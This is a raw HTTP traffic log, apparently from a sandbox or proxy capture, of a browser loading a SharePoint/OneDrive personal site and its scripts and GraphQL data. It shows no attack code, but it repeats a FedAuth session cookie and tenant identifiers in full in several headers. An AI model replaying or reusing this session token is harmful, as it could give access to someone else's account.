FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:03:58 UTC	3253	IN	HTTP/1.1 200 OK Cache-Control: max-age=600 Transfer-Encoding: chunked Content-Type: text/javascript; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,42,323,5769079,3043826,3043826,41973 X-SharePointHealthScore: 0 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b6ad8da1-e091-8000-6ce4-90931f11e00b request-id: b6ad8da1-e091-8000-6ce4-90931f11e00b MS-CV: oY2ttpHgAIBs5JCTHxHgCw.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5b&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 20FDC36C051B48F68A03493BB74451ED Ref B: EWR311000103023 Ref C: 2025-03-24T15:03:58Z Date: Mon, 24 Mar 2025 15:03:58 GMT Connection: close
2025-03-24 15:03:58 UTC	706	IN	Data Raw: 32 62 62 0d 0a 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 20 3d 20 7b 7d 3b 0a 73 65 6c 66 2e 5f 6d 61 72 6b 50 65 72 66 53 74 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 20 7b 69 66 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 7d 20 65 6c 73 65 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 7d 20 69 66 20 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f Data Ascii: 2bbself._perfMarks = {};self._markPerfStage=function(key) {if(self.performance && typeof self.performance.now === 'function'){self._perfMarks[key]=self.performance.now();} else{self._perfMarks[key]=Date.now();} if (self.performance && typeof self.perfo
2025-03-24 15:03:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:03:59 UTC	1589	OUT	GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:03:59 UTC	3252	IN	HTTP/1.1 200 OK Cache-Control: max-age=600 Transfer-Encoding: chunked Content-Type: text/javascript; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,459,6721529,4204800,4204800,45056 X-SharePointHealthScore: 1 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b6ad8da1-f0c1-8000-6ce4-96967ed3ec8a request-id: b6ad8da1-f0c1-8000-6ce4-96967ed3ec8a MS-CV: oY2ttsHwAIBs5JaWftPsig.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4AA664345D6249C7B3B4180E115B0984 Ref B: EWR311000107031 Ref C: 2025-03-24T15:03:59Z Date: Mon, 24 Mar 2025 15:03:59 GMT Connection: close
2025-03-24 15:03:59 UTC	706	IN	Data Raw: 32 62 62 0d 0a 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 20 3d 20 7b 7d 3b 0a 73 65 6c 66 2e 5f 6d 61 72 6b 50 65 72 66 53 74 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 20 7b 69 66 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 7d 20 65 6c 73 65 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 7d 20 69 66 20 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f Data Ascii: 2bbself._perfMarks = {};self._markPerfStage=function(key) {if(self.performance && typeof self.performance.now === 'function'){self._perfMarks[key]=self.performance.now();} else{self._perfMarks[key]=Date.now();} if (self.performance && typeof self.perfo
2025-03-24 15:03:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:00 UTC	2098	OUT	POST /personal/securedocument_postureshift_com/_api/v2.1/graphql HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive Content-Length: 507 X-ServiceWorker-Strategy: CacheFirst sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: application/json;odata=verbose sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/json;odata=verbose sec-ch-ua-mobile: ?0 Origin: https://postureshift-my.sharepoint.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:00 UTC	507	OUT	Data Raw: 7b 22 71 75 65 72 79 22 3a 22 71 75 65 72 79 20 28 5c 6e 20 20 20 20 20 20 20 20 24 73 70 6f 53 75 69 74 65 4c 69 6e 6b 73 51 75 65 72 79 53 74 72 69 6e 67 3a 20 53 74 72 69 6e 67 21 5c 6e 20 20 20 20 20 20 20 20 29 5c 6e 20 20 20 20 20 20 7b 5c 6e 20 20 20 20 20 20 5c 6e 20 20 20 20 20 20 6c 65 67 61 63 79 20 7b 5c 6e 20 20 20 20 20 20 73 70 6f 53 75 69 74 65 4c 69 6e 6b 73 28 5c 6e 20 20 20 20 20 20 71 75 65 72 79 53 74 72 69 6e 67 3a 20 24 73 70 6f 53 75 69 74 65 4c 69 6e 6b 73 51 75 65 72 79 53 74 72 69 6e 67 5c 6e 20 20 20 20 20 20 29 20 20 20 20 20 20 20 20 20 20 5c 6e 20 20 20 20 20 20 5c 6e 20 20 20 20 7d 5c 6e 20 20 20 20 20 20 5c 6e 20 20 20 20 20 20 5c 6e 20 20 70 65 72 66 20 7b 5c 6e 20 20 20 20 65 78 65 63 75 74 69 6f 6e 54 69 6d 65 5c 6e 20 Data Ascii: {"query":"query (\n $spoSuiteLinksQueryString: String!\n )\n {\n \n legacy {\n spoSuiteLinks(\n queryString: $spoSuiteLinksQueryString\n ) \n \n }\n \n \n perf {\n executionTime\n
2025-03-24 15:04:00 UTC	3224	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 18284 Content-Type: application/json P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194191,0,0,251224,456603,456603,41423 X-SharePointHealthScore: 0 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b7ad8da1-700e-8000-6ce4-9f586ba72f1a request-id: b7ad8da1-700e-8000-6ce4-9f586ba72f1a MS-CV: oY2ttw5wAIBs5J9Ya6cvGg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5b&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: E5DE866C478D4522926CF7821E2CECBB Ref B: EWR311000103039 Ref C: 2025-03-24T15:04:00Z Date: Mon, 24 Mar 2025 15:04:00 GMT Connection: close
2025-03-24 15:04:00 UTC	1211	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 6c 65 67 61 63 79 22 3a 7b 22 73 70 6f 53 75 69 74 65 4c 69 6e 6b 73 22 3a 7b 0a 20 22 53 50 53 75 69 74 65 56 65 72 73 69 6f 6e 22 3a 32 2c 0a 20 22 53 50 49 73 4d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 0a 20 22 43 73 73 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 73 68 65 6c 6c 75 78 2f 73 75 69 74 65 75 78 2e 73 68 65 6c 6c 2e 73 68 61 72 65 64 2e 33 38 34 61 61 63 65 35 66 39 38 61 38 36 32 32 66 34 32 31 63 66 35 39 39 33 35 37 62 36 38 64 2e 63 73 73 22 2c 0a 20 22 4a 73 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 73 68 65 6c 6c 75 78 2f 73 75 69 74 65 75 78 2e 73 68 65 6c 6c 2e 62 6f 6f 74 73 74 72 Data Ascii: {"data":{"legacy":{"spoSuiteLinks":{ "SPSuiteVersion":2, "SPIsMobile":false, "CssUrl":"https://res-1.cdn.office.net/shellux/suiteux.shell.shared.384aace5f98a8622f421cf599357b68d.css", "JsUrl":"https://res-1.cdn.office.net/shellux/suiteux.shell.bootstr
2025-03-24 15:04:00 UTC	8192	IN	Data Raw: 5c 22 3a 5c 22 63 36 63 31 39 30 61 31 62 37 33 63 34 61 36 33 62 62 61 38 39 38 33 35 64 35 34 36 63 66 32 38 2d 66 32 61 30 34 38 32 66 2d 61 30 30 64 2d 34 38 64 39 2d 38 32 32 65 2d 65 38 39 63 63 38 39 65 62 36 34 64 2d 37 36 38 38 5c 22 2c 5c 22 41 72 69 61 54 65 6c 65 6d 65 74 72 79 55 72 69 5c 22 3a 5c 22 5c 22 2c 5c 22 41 75 74 68 41 62 74 45 6e 61 62 6c 65 64 5c 22 3a 74 72 75 65 2c 5c 22 43 4c 53 49 44 5c 22 3a 5c 22 62 39 61 61 36 63 62 63 2d 61 65 32 39 2d 34 35 35 32 2d 61 63 64 35 2d 63 37 63 37 33 65 31 39 63 31 39 64 5c 22 2c 5c 22 43 50 4e 49 50 69 6e 45 6e 61 62 6c 65 64 5c 22 3a 74 72 75 65 2c 5c 22 43 68 61 6e 67 65 50 61 73 73 77 6f 72 64 55 72 6c 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 67 6f 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d Data Ascii: \":\"c6c190a1b73c4a63bba89835d546cf28-f2a0482f-a00d-48d9-822e-e89cc89eb64d-7688\",\"AriaTelemetryUri\":\"\",\"AuthAbtEnabled\":true,\"CLSID\":\"b9aa6cbc-ae29-4552-acd5-c7c73e19c19d\",\"CPNIPinEnabled\":true,\"ChangePasswordUrl\":\"https://go.microsoft.com
2025-03-24 15:04:00 UTC	3879	IN	Data Raw: 22 2c 5c 22 73 65 61 72 63 68 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 73 68 65 6c 6c 75 78 2f 73 75 69 74 65 75 78 2e 73 68 65 6c 6c 2e 73 65 61 72 63 68 2e 37 32 33 37 34 64 65 64 36 61 34 34 33 36 65 36 64 35 61 33 2e 6a 73 5c 22 2c 5c 22 73 65 61 72 63 68 62 6f 78 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 73 68 65 6c 6c 75 78 2f 73 75 69 74 65 75 78 2e 73 68 65 6c 6c 2e 73 65 61 72 63 68 62 6f 78 2e 35 37 30 34 38 34 34 63 64 38 31 39 30 63 37 64 37 38 34 32 2e 6a 73 5c 22 2c 5c 22 73 65 61 72 63 68 75 78 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 73 68 65 6c 6c 75 78 2f 73 Data Ascii: ",\"search\":\"https://res-1.cdn.office.net/shellux/suiteux.shell.search.72374ded6a4436e6d5a3.js\",\"searchbox\":\"https://res-1.cdn.office.net/shellux/suiteux.shell.searchbox.5704844cd8190c7d7842.js\",\"searchux\":\"https://res-1.cdn.office.net/shellux/s
